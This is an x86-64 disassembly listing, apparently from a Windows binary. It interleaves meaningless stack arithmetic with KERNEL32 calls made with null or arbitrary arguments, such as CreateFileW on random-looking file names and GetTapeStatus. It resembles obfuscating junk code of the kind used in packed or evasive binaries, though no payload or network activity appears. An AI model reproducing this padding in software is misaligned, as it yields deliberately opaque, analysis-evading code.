movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f40]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140229f78], ax
mov rax, qword [0x14022b960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9d20]
mov word [rcx], ax
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c10]
mov word [rcx], ax
movzx eax, word [rsp + 0x1d00]
mov rcx, qword [rsp + 0xa0d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a7c], ax
mov rax, qword [rsp + 0xa1a0]
mov rcx, qword [rsp + 0x9878]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6fd8], rax
movzx eax, byte [rsp + 0x343]
mov byte [rsp + 0x35e], al
mov rax, qword [0x14022b890]
mov rcx, qword [rsp + 0x97e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4778], eax
mov rax, qword [rsp + 0x9f40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x156c], ax
movzx eax, word [rsp + 0x1c8c]
mov word [rsp + 0x1d24], ax
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov rcx, qword [0x14022b858]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7540]
mov rcx, qword [rsp + 0x9bf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7278], rax
mov rax, qword [0x14022b8a8]
mov rcx, qword [rsp + 0xa078]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f68], rax
mov rax, qword [rsp + 0x9f48]
mov rcx, qword [rsp + 0xa040]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9dd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa018]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1a90], ax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
mov byte [rsp + 0x35f], al
mov eax, dword [rsp + 0x3dc8]
mov rcx, qword [rsp + 0x9998]
mov qword [rsp + 0xa1d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa1d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x39f0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0x9a68]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x94a8], rax
mov rax, qword [rsp + 0xa170]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x110]
sar eax, cl
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0xa028]
mov rcx, qword [rsp + 0x9d60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140229f30], eax
lea rax, [0x140229f44]
mov qword [rsp + 0xa1d8], rax
mov rax, qword [rsp + 0x9f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ee0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9880]
mov word [rcx], ax
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa0c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa198]
mov word [rcx], ax
lea rcx, [rsp + 0x9b70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0x47d4]
mov rcx, qword [rsp + 0x9bf0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45f8], eax
mov rax, qword [0x140229f48]
mov qword [rsp + 0xa1e0], rax
mov r9d, 0x1287
xor r8d, r8d
lea rdx, [rsp + 0x9708]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46b0], eax
mov eax, dword [rsp + 0x4374]
mov ecx, dword [rsp + 0x47d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa190]
mov dword [rcx], eax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa150]
mov rax, qword [rax]
mov qword [rsp + 0xa1e8], rax
movsx eax, byte [0x14022b811]
mov rcx, qword [rsp + 0xa0b8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x35c], al
mov rax, qword [rsp + 0x9c70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1cf4], ax
movzx eax, word [rsp + 0x1c80]
mov word [0x14022b978], ax
mov rax, qword [0x14022b8d8]
mov rcx, qword [rsp + 0x9d58]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8668], rax
mov r9d, 0x1856
xor r8d, r8d
lea rdx, [rsp + 0x9f28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47d8], eax
mov rax, qword [rsp + 0xa0c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9dd8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf64], ax
movzx eax, byte [rsp + 0x1ca]
mov byte [rsp + 0x360], al
mov rax, qword [rsp + 0x9fc0]
mov rcx, qword [rsp + 0x9800]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9c88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa048]
mov qword [rsp + 0xa1f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa1f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x479c], eax
movsx eax, byte [rsp + 0x358]
movsx ecx, byte [0x14022b811]
sar eax, cl
mov byte [rsp + 0x1bb], al
mov rax, qword [rsp + 0xa1a0]
mov rcx, qword [rsp + 0xa1e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9d98], rax
lea rax, [rsp + 0x1d0c]
mov qword [rsp + 0xa1f8], rax
mov rax, qword [0x14022b860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa148]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140229f7c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1277
mov rcx, qword [rsp + 0xa008]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46f0], eax
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9eb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f08], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x9bf8]
mov qword [rsp + 0xa200], rax
movsx eax, word [rsp + 0x1ccc]
mov rcx, qword [rsp + 0x9c70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa1a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1cb0]
movzx ecx, word [rsp + 0x1384]
and eax, ecx
mov word [rsp + 0x1cb4], ax
mov rax, qword [rsp + 0xa1a0]
mov rax, qword [rax]
mov qword [rsp + 0xa208], rax
movsx eax, byte [0x140229f1e]
mov rcx, qword [rsp + 0x9ea8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa170]
mov byte [rcx], al
lea rax, [rsp + 0x473c]
mov qword [rsp + 0xa210], rax
mov rax, qword [rsp + 0x9d68]
mov rcx, qword [rsp + 0x9198]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x82e8], rax
movsx eax, word [0x140229f54]
movsx ecx, word [rsp + 0x17fc]
sub eax, ecx
mov word [0x140229f3c], ax
mov rax, qword [rsp + 0xa198]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12b4]
or eax, ecx
mov word [rsp + 0x19bc], ax
mov rax, qword [rsp + 0x9e10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x96e8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x275], al
mov rax, qword [rsp + 0x99c8]
mov ecx, dword [rsp + 0x45c8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4760], eax
lea rax, [rsp + 0x9ba0]
mov qword [rsp + 0xa218], rax
lea rdx, [rsp + 0x45ec]
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47dc], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0x7f78]
mov rcx, qword [0x14022b808]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa1a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e28]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x34d], al
lea rax, [rsp + 0x474c]
mov qword [rsp + 0xa220], rax
movsx eax, word [rsp + 0x1cec]
movsx ecx, word [rsp + 0x1400]
add eax, ecx
mov word [rsp + 0x1c9c], ax
movzx eax, word [rsp + 0x1cfc]
mov rcx, qword [rsp + 0x9c10]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14022b8b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9be8]
mov rax, qword [rax]
mov qword [rsp + 0xa228], rax
mov rax, qword [0x14022b908]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c8c]
and eax, ecx
mov rcx, qword [rsp + 0xa000]
mov word [rcx], ax
mov rax, qword [rsp + 0xa030]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ca0], ax
mov rax, qword [rsp + 0x8d50]
mov rcx, qword [rsp + 0x9d58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7300], rax
mov rax, qword [rsp + 0x9a68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9d18]
shr rax, cl
mov qword [rsp + 0x8ef0], rax
lea rax, [rsp + 0x4270]
mov qword [rsp + 0xa230], rax
mov rax, qword [rsp + 0x9b20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x359]
and eax, ecx
mov byte [rsp + 0x355], al
lea rax, [rsp + 0x968]
mov qword [rsp + 0xa238], rax
lea rax, [rsp + 0x7898]
mov qword [0x14022b980], rax
mov eax, dword [rsp + 0x45d8]
movzx ecx, al
mov eax, dword [rsp + 0x4744]
shl eax, cl
mov dword [rsp + 0x4760], eax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a48]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa1b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d20]
movzx eax, word [rax]
mov word [rsp + 0x1d28], ax
mov rax, qword [rsp + 0x9d10]
movzx eax, word [rax]
movzx ecx, word [0x14022b850]
xor eax, ecx
mov word [rsp + 0x1d18], ax
mov rax, qword [rsp + 0xa108]
mov eax, dword [rax]
mov dword [rsp + 0x47e0], eax
movsx eax, byte [rsp + 0x355]
mov rcx, qword [rsp + 0x9cf8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x164], al
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9730]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8488], rax
lea rcx, [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x10c0]
movsx ecx, word [rsp + 0x1c78]
and eax, ecx
mov word [rsp + 0x86c], ax
movzx eax, word [rsp + 0x884]
mov rcx, qword [0x14022b8b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14022b900], ax
mov rax, qword [rsp + 0x9c58]
mov rcx, qword [rsp + 0x9f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov qword [rsp + 0xa240], rax
mov rax, qword [rsp + 0x9d68]
mov rcx, qword [0x14022b858]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x76b0], rax
movsx eax, word [rsp + 0x1c88]
mov rcx, qword [rsp + 0xa1f8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0x9c98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x350]
and eax, ecx
mov byte [rsp + 0x1b0], al
mov rax, qword [rsp + 0x9870]
mov rcx, qword [rsp + 0x77b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ce8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.66k6s9t41gwUYN6M3rz8f
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa248], rax
lea rax, [rsp + 0x474c]
mov qword [rsp + 0xa250], rax
mov rax, qword [rsp + 0x9c68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ca]
sar eax, cl
mov rcx, qword [rsp + 0x9808]
mov byte [rcx], al
lea rax, [rsp + 0x4760]
mov qword [rsp + 0xa258], rax
movzx eax, word [rsp + 0x1ce8]
mov word [0x14022b988], ax
mov rax, qword [rsp + 0x9e90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d10]
shl eax, cl
mov word [rsp + 0x1cf8], ax
mov rax, qword [rsp + 0x9d10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa018]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1a84], ax
mov rax, qword [rsp + 0x8360]
mov qword [rsp + 0xa260], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0x9ad8]
mov rcx, qword [rsp + 0x9f88]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa1a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x34a]
sub eax, ecx
mov byte [rsp + 0x188], al
mov eax, dword [rsp + 0x39dc]
mov ecx, dword [rsp + 0x4278]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa230]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1cf4]
movsx ecx, word [0x140229f58]
sub eax, ecx
mov word [rsp + 0x1d20], ax
lea rax, [rsp + 0x1cb4]
mov qword [rsp + 0xa268], rax
lea rdx, [rsp + 0x4798]
mov rcx, qword [rsp + 0xa0e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4714], eax
mov rax, qword [rsp + 0x9a80]
mov rcx, qword [rsp + 0x9db0]
mov qword [rsp + 0xa270], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa270]
mov rax, qword [rax]
sar rax, cl
mov qword [0x140229f48], rax
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [rsp + 0x1ca4]
sub eax, ecx
mov rcx, qword [rsp + 0x9b78]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa278], rax
mov rax, qword [rsp + 0x86c8]
mov qword [rsp + 0xa280], rax
mov rax, qword [rsp + 0x86c8]
mov rcx, qword [rsp + 0x9810]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9420], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x9663
mov rcx, qword [rsp + 0xa138]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45e4], eax
mov rax, qword [rsp + 0x9ea8]
movsx eax, byte [rax]
cdq
and edx, 7
add eax, edx
sar eax, 3
mov byte [rsp + 0x353], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov eax, dword [rsp + 0x4270]
mov dword [rsp + 0x47e4], eax
lea rdx, [rsp + 0x4714]
mov rcx, qword [rsp + 0x9e88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47e8], eax
mov rcx, qword [rsp + 0x9ef8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9e10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35d]
and eax, ecx
mov byte [rsp + 0x35f], al
lea rdx, [rsp + 0x47ec]
mov rcx, qword [rsp + 0x9e50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4684], eax
mov rcx, qword [rsp + 0x9d50]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0x9c88]
mov ecx, dword [rsp + 0x47b8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x39b0], eax
mov rax, qword [rsp + 0x9f70]
mov rcx, qword [rsp + 0x7450]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d98], rax
movzx eax, word [rsp + 0x1c90]
mov word [0x14022b98c], ax
movsx eax, word [0x14022b828]
mov rcx, qword [rsp + 0xa050]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c98], ax
movzx eax, word [rsp + 0x1c8c]
mov word [rsp + 0x1d2c], ax
mov rax, qword [rsp + 0xa1b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cbc]
shl eax, cl
mov rcx, qword [rsp + 0x9e90]
mov word [rcx], ax
lea rax, [0x14022b812]
mov qword [rsp + 0xa288], rax
mov rax, qword [rsp + 0x8ef0]
mov rcx, qword [rsp + 0x8c20]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0e0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x79c7
mov rcx, qword [rsp + 0x9e88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47f0], eax
mov rax, qword [rsp + 0x9990]
mov ecx, dword [rsp + 0x4754]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4530], eax
movsx eax, word [rsp + 0x1cd8]
movsx ecx, word [rsp + 0x1c90]
sar eax, cl
mov rcx, qword [rsp + 0x9d20]
mov word [rcx], ax
mov r9d, 0x238a
xor r8d, r8d
lea rdx, [rsp + 0x9ef8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4790], eax
lea rdx, [rsp + 0x47f4]
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47f0], eax
mov rax, qword [rsp + 0xa148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a84], ax
mov rax, qword [rsp + 0x9e70]
mov rax, qword [rax]
mov rcx, qword [0x14022b830]
add rcx, rax
mov rax, rcx
mov qword [0x140229f60], rax
lea rax, [rsp + 0x9810]
mov qword [rsp + 0xa290], rax
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ba8]
mov qword [rcx], rax
mov rax, qword [0x14022b8a8]
mov qword [rsp + 0xa298], rax
mov r9d, 0x72f
xor r8d, r8d
lea rdx, [rsp + 0x9d88]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4798], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
movzx eax, word [rsp + 0x1ce0]
movzx ecx, word [rsp + 0x1cb4]
and eax, ecx
mov word [rsp + 0x1cf0], ax
mov eax, dword [rsp + 0x39f0]
movzx ecx, al
mov eax, dword [rsp + 0x4744]
sar eax, cl
mov dword [rsp + 0x4758], eax
movzx eax, byte [0x140229f1d]
mov byte [rsp + 0x361], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x8bc0
mov rcx, qword [rsp + 0x9e88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47f8], eax
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x346]
movsx ecx, byte [rsp + 0x188]
and eax, ecx
mov rcx, qword [rsp + 0x9b20]
mov byte [rcx], al
lea rax, [rsp + 0x9730]
mov qword [rsp + 0xa2a0], rax
xor edx, edx
mov rax, qword [rsp + 0x9cc0]
mov eax, dword [rax]
mov ecx, 0xf229
div ecx
mov dword [0x140229f80], eax
movsx eax, word [rsp + 0x1c90]
movsx ecx, word [rsp + 0x17fc]
add eax, ecx
mov rcx, qword [rsp + 0xa1d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f90]
movsx eax, word [rax]
movsx ecx, word [0x140229f44]
sub eax, ecx
mov word [rsp + 0x1ce8], ax
movzx eax, word [rsp + 0x1cfc]
movzx ecx, word [rsp + 0x1a7c]
xor eax, ecx
mov word [rsp + 0x176c], ax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9a20]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7300], rax
lea rax, [rsp + 0x9b08]
mov qword [rsp + 0xa2a8], rax
mov rax, qword [rsp + 0x9b20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x188]
shl eax, cl
mov rcx, qword [rsp + 0xa170]
mov byte [rcx], al
mov rax, qword [rsp + 0x96e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x47d0]
shr eax, cl
mov dword [rsp + 0x3e6c], eax
mov rax, qword [0x14022b970]
movzx eax, word [rax]
mov word [rsp + 0x1d30], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea rdx, [rsp + 0x47fc]
mov rcx, qword [rsp + 0x9e88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47b0], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xaf07
mov rcx, qword [rsp + 0x9df8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4770], eax
lea rdx, [rsp + 0x4800]
mov rcx, qword [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4800], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd46a
mov rcx, qword [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x470c], eax
movzx eax, word [rsp + 0x1660]
movzx ecx, word [rsp + 0x1d18]
sub eax, ecx
mov word [0x14022b978], ax
mov rax, qword [rsp + 0x9898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x73c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa038], rax
movzx eax, word [0x14022b898]
movzx ecx, word [rsp + 0x1cf0]
and eax, ecx
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0xa160]
mov rcx, qword [rsp + 0x9b38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x47c0], eax
lea rcx, [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x35b]
mov byte [rsp + 0x362], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x1702
xor r8d, r8d
lea rdx, [rsp + 0xa278]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46a4], eax
mov rax, qword [rsp + 0xa1a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa208]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f70], rax
mov rax, qword [rsp + 0x9d70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x274]
sar eax, cl
mov byte [rsp + 0x2c3], al
mov eax, dword [rsp + 0x47e0]
mov dword [rsp + 0x4804], eax
mov rax, qword [rsp + 0x9c30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17fc]
add eax, ecx
mov word [rsp + 0x1d0c], ax
mov rax, qword [rsp + 0xa0c0]
movzx eax, word [rax]
mov word [0x14022b990], ax
lea rax, [rsp + 0x7f68]
mov qword [rsp + 0xa2b0], rax
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
mov rcx, qword [0x14022b848]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d38]
mov qword [rcx], rax
lea rcx, [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
movsx eax, word [rsp + 0x1cb8]
mov rcx, qword [rsp + 0x9f40]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1ce8], ax
mov rax, qword [rsp + 0x9fd8]
movzx eax, word [rax]
mov rcx, qword [0x14022b8c8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xbe0], ax
lea rcx, [rsp + 0xa2b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9a68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9b58]
shl rax, cl
mov qword [rsp + 0x94a8], rax
movzx eax, byte [rsp + 0x342]
mov byte [rsp + 0x363], al
mov rax, qword [rsp + 0xa210]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4778]
shr eax, cl
mov dword [rsp + 0x479c], eax
lea rdx, [rsp + 0x47c8]
mov rcx, qword [rsp + 0xa020]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45ec], eax
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9ef8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10c0]
sub eax, ecx
mov word [0x14022b820], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.1FjU7BzaUB5pJkchKP
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0xa168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9da0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b14], ax
lea rcx, [rsp + 0x9e18]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x1ca]
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9f08]
mov byte [rcx], al
lea rax, [rsp + 0x4758]
mov qword [rsp + 0xa2c8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0x9db8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8078]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
mov rax, qword [rsp + 0xa0b8]
movzx eax, byte [rax]
mov byte [rsp + 0x364], al
mov rax, qword [rsp + 0x9d18]
mov rcx, qword [rsp + 0x8500]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9870], rax
mov rax, qword [rsp + 0xa230]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x96e0]
mov qword [rsp + 0xa2d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa2d0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4780], eax
lea rax, [rsp + 0x1518]
mov qword [rsp + 0xa2d8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5327
mov rcx, qword [rsp + 0x9df8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x468c], eax
lea rax, [0x14022b8d0]
mov qword [0x14022b998], rax
mov rax, qword [rsp + 0x9d68]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa298], rax
lea rax, [rsp + 0x1cbc]
mov qword [rsp + 0xa2e0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
